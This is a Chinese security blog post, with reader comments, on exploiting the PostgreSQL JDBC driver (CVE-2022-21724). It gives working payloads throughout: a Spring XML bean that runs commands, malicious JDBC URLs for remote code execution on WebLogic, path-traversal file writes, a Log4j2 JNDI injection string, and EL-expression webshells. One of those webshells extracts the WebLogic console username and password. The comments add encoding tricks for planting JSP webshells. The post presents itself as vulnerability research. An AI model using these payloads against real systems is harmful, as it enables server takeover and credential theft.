Make JDBC Attacks Brilliant Again 番外篇

pyn3rd 2022-03-04 10:39:00

0x00 背景

我在HITB Singapore 2021上做过一次关于JDBC攻击面的分享,议题为《Make JDBC Attacks Brilliant Again》

如果有兴趣可以看看,slide地址
https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf

去年的分享议题里没有涉及到PostgreSQL数据库,然而最近出现了PostgreSQL JDBC Driver的相关漏洞。特地做个总结,也算是《Make JDBC Attacks Brilliant Again》议题的番外篇。

最近新开的星球分享知识,也欢迎大家加入『攻防二象性

0x01 PostgreSQL JDBC Driver远程命令执行(CVE-2022-21724)

和其它数据库的JDBC Driver一样,PostgreSQL JDBC Driver也支持很多property,先看CVE-2022-21724里用到的第一组property

a. socketFactory / socketFactoryArg

官方文档介绍
16462740251941.jpg

搭建环境了解下调用过程,用的是PostgreSQL Driver Version: 42.3.1版本,为方便阅读,加了一行显示版本:

System.out.println("PostgreSQL Driver Version: " + org.postgresql.Driver.class.getPackage().getImplementationVersion());

先把参数值置空,执行后看抛出的异常
16462751033333.jpg

根据抛出的异常,直接把断点打在getSocketFactory()

16462762405838.jpg

接着进入ObjectFactory.instantiate()
16462763691096.jpg

到这可知,socketFactory实例化一个类,它的构造方法只有一个参数且是String类型。因此只要找到一个符合这样条件的类即可,直接想到的就是这个老演员

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext

通过以上任意一个类,加载以下XML文件即可

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>open</value>
                <value>-a</value>
                <value>calculator</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

启动FTP Server

python3 -m pyftpdlib -d .

验证结果
16462779235388.jpg

这里也有同学会想到使用java.io.FileOutputStream配合../../ 去清空任意文件,这里我创建一个空文件test.log
16462784309745.jpg

b. sslFactory / sslFactoryArg

官方文档介绍
16462782033423.jpg

其实和socketFactory, socketFactoryArg 差不多,只是多了对SSL加密的判断,可以看到建连后收到的请求以S开头则表示SSL是成功支持的,则进入SSLSocketFactory()
16462796600663.jpg

接着就会来到SSLSocketFactory
16462803020608.jpg

16462806349570.jpg

到这里其实和之前的逻辑已经是一样了,就不再赘述。因此只要在建立连接后返回S,就会顺利触发
16462801860460.jpg

c. Weblogic Server远程代码执行

之前我们提到了这个类

  • org.springframework.context.support.FileSystemXmlApplicationContext

在Weblogic Server环境下,有相同的实现类

  • com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

需要注意的是必须同时存在这两个jar包(默认存在)
16462823111039.jpg

所以构造出PoC

jdbc:postgresql://127.0.0.1:5432/testdb?&socketFactory=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=ftp://127.0.0.1:2121/bean.xml

验证结果
16462824974842.jpg

0x02 PostgreSQL JDBC Driver任意文件写入

a. loggerLevel / loggerFile

官方文档介绍
16462811172881.jpg

所以可以写成这样

jdbc:postgresql://localhost:5432/testdb?loggerLevel=TRACE&loggerFile=pgjdbc.log

b. Apache Log4j2 日志注入

可以明确的是即使PostgreSQL数据库连接错误,所有连接数据库过程中日志都会被记录到指定的文件里,那么可以注入Apache Log4j2的payload在JDBC URL里达到日志污染的目的

jdbc:postgresql://localhost:5432/${jndi:ldap://127.0.0.1:1389/eajmgl}?loggerLevel=TRACE&loggerFile=pgjdbc.log

16462815475884.jpg

当使用Apache Log4j2组件读取被污染的日志时,即可能会触发远程命令执行
16462817196635.jpg

c. Weblogic Server写入一句话Webshell

这里我为了方便查看,使用了一个property ApplicationName,其实用不用无所谓
16462826877510.jpg

写入Webshell,首先都会尝试用JSP的一句话,目标路径就是../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/

初步构造就是这样

jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=<%Runtime.getRuntime().exec("open -a calculator")};%>&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp

看下能不能成功,结果直接抛出异常,这里会把JSP中的%和后面2个字符%RuURLDecoder()的操作,异常信息

Could not establish a connection because of java.lang.IllegalArgumentException: URLDecoder: Illegal hex characters in escape (%) pattern - For input string: "Ru"<br/>

16462828646732.jpg

想到可以用EL表达式替代JSP,从而绕过%被过度解码导致无法解决JSP的问题。不过需要注意的是Servlet<=2.3版本默认不支持EL表达式,而之后的版本是默认开启的。那么就需要确认Weblogic Server内置了的Servlet版本,我用的是Weblogic Server14内置的是Servlet 4.0的版本

16462829935384.jpg

到此条件都具备了,就可以这么写

jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=${Runtime.getRuntime().exec("open -a calculator")}&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/calc.jsp

直接访问写入的Webshell,成功弹出计算器
16462845072702.jpg

d. Weblogic Server写入密码记录Webshell

上面我们已经成功使用EL表达式替换了JSP,但是EL表达式有局限性,比如:不能做变量赋值操作。只能借助EL表达式自定义的隐式对象了,先想到的就是pageContext

pageContextjavax.servlet.jsp.PageContext类的实例对象,用来代表整个JSP页面范围, pageContextsetAttribute()方法设置属性,pageContextgetAttribute()方法获取属性,如果没用指定作用域,按照page→request→session→application的顺序指定,默认作用域是pagepageContext对象本身也属于page作用域。

如果清楚以上相关的知识,配合着反射调用就可以达到想要的目的。所以最终写成

jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=${pageContext.setAttribute("classLoader",Thread.currentThread().getContextClassLoader());pageContext.setAttribute("httpDataTransferHandler",pageContext.getAttribute("classLoader").loadClass("weblogic.deploy.service.datatransferhandlers.HttpDataTransferHandler"));pageContext.setAttribute("managementService", pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.ManagementService"));pageContext.setAttribute("authenticatedSubject",pageContext.getAttribute("classLoader").loadClass("weblogic.security.acl.internal.AuthenticatedSubject"));pageContext.setAttribute("propertyService",pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.PropertyService"));pageContext.setAttribute("KERNE_ID",pageContext.getAttribute("httpDataTransferHandler").getDeclaredField("KERNE_ID"));pageContext.getAttribute("KERNE_ID").setAccessible(true);pageContext.setAttribute("getPropertyService",managementService.getMethod("getPropertyService",pageContext.getAttribute("authenticatedSubject")));pageContext.getAttribute("getPropertyService").setAccessible(true);pageContext.setAttribute("prop",pageContext.getAttribute("getPropertyService").invoke(null,pageContext.getAttribute("KERNE_ID").get((null))));pageContext.setAttribute("getTimestamp1",propertyService.getMethod("getTimestamp1"));pageContext.getAttribute("getTimestamp1").setAccessible(true);pageContext.setAttribute("getTimestamp2",propertyService.getMethod("getTimestamp2"));pageContext.getAttribute("getTimestamp2").setAccessible(true);pageContext.setAttribute("username", pageContext.getAttribute("getTimestamp1").invoke(pageContext.getAttribute("prop")));pageContext.setAttribute("password",pageContext.getAttribute("getTimestamp2").invoke(pageContext.getAttribute("prop")));pageContext.getAttribute("username").concat("/").concat(pageContext.getAttribute("password"))}&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/passwd.jsp

最终访问写入的Webshell,成功拿到Weblogic Server控制台的登录用户名和密码

16462851740971.jpg

0x03 写在最后

JDBC因为Java语言的影响力被广泛使用,又因为它的广泛使用导致出现漏洞后影响很大,尤其是云计算场景广泛应用的今天,JDBC的可控变得简单。写此文章分享下自己的总结,也希望有兴趣的人可以随着我曾经的思路继续研究下去,Make JDBC Attacks Brilliant Again!

评论

Y4tacker 2022-03-04 16:02:10

关于那个URLDECODE那个点,可以把<%Runtime.getRuntime().exec("open -a calculator")};%>整个URL编码为%3C%25Runtime.getRuntime().exec(%22open%20-a%20calculator%22)%3B%25%3E,后面执行SET application_name =xxxx的时候会显示url解码后的结果(当然要一个可连接的postgresql环境,假如那个环境下刚好有就可以配合增加隐蔽性,不用自己搭建)

Y4tacker 2022-03-04 18:51:37

突然发现放参数也可以?<%Runtime.getRuntime().exec("open -na Calculator"); %>=1,只解码=后面的

O

others 2022-03-10 14:31:12

关于URLDECODE问题,可以使用&将包含%的内容分割为多个参数名,用注释/**/去掉多余的&字符,结合@Y4tacker所说的等号前不解码,可以实现直接写入webshell(JSP导入标签部分建议用反射的方式来规避,尽量减少JSP标签)。另外,此种webshell毕竟是日志,会有很多无用字符,甚至会重复写入webshell,故而建议用反射的方式将已经BASE64编码的webshell解码,然后写入新的文件中,从而得到一个干净的webshell,本地已验证可行(反射的方式能做的还有更多)。

pyn3rd

这个人很懒,没有留下任何介绍

随机分类

安全开发 文章:83 篇
Windows安全 文章:88 篇
CTF 文章:62 篇
浏览器安全 文章:36 篇
Python安全 文章:13 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录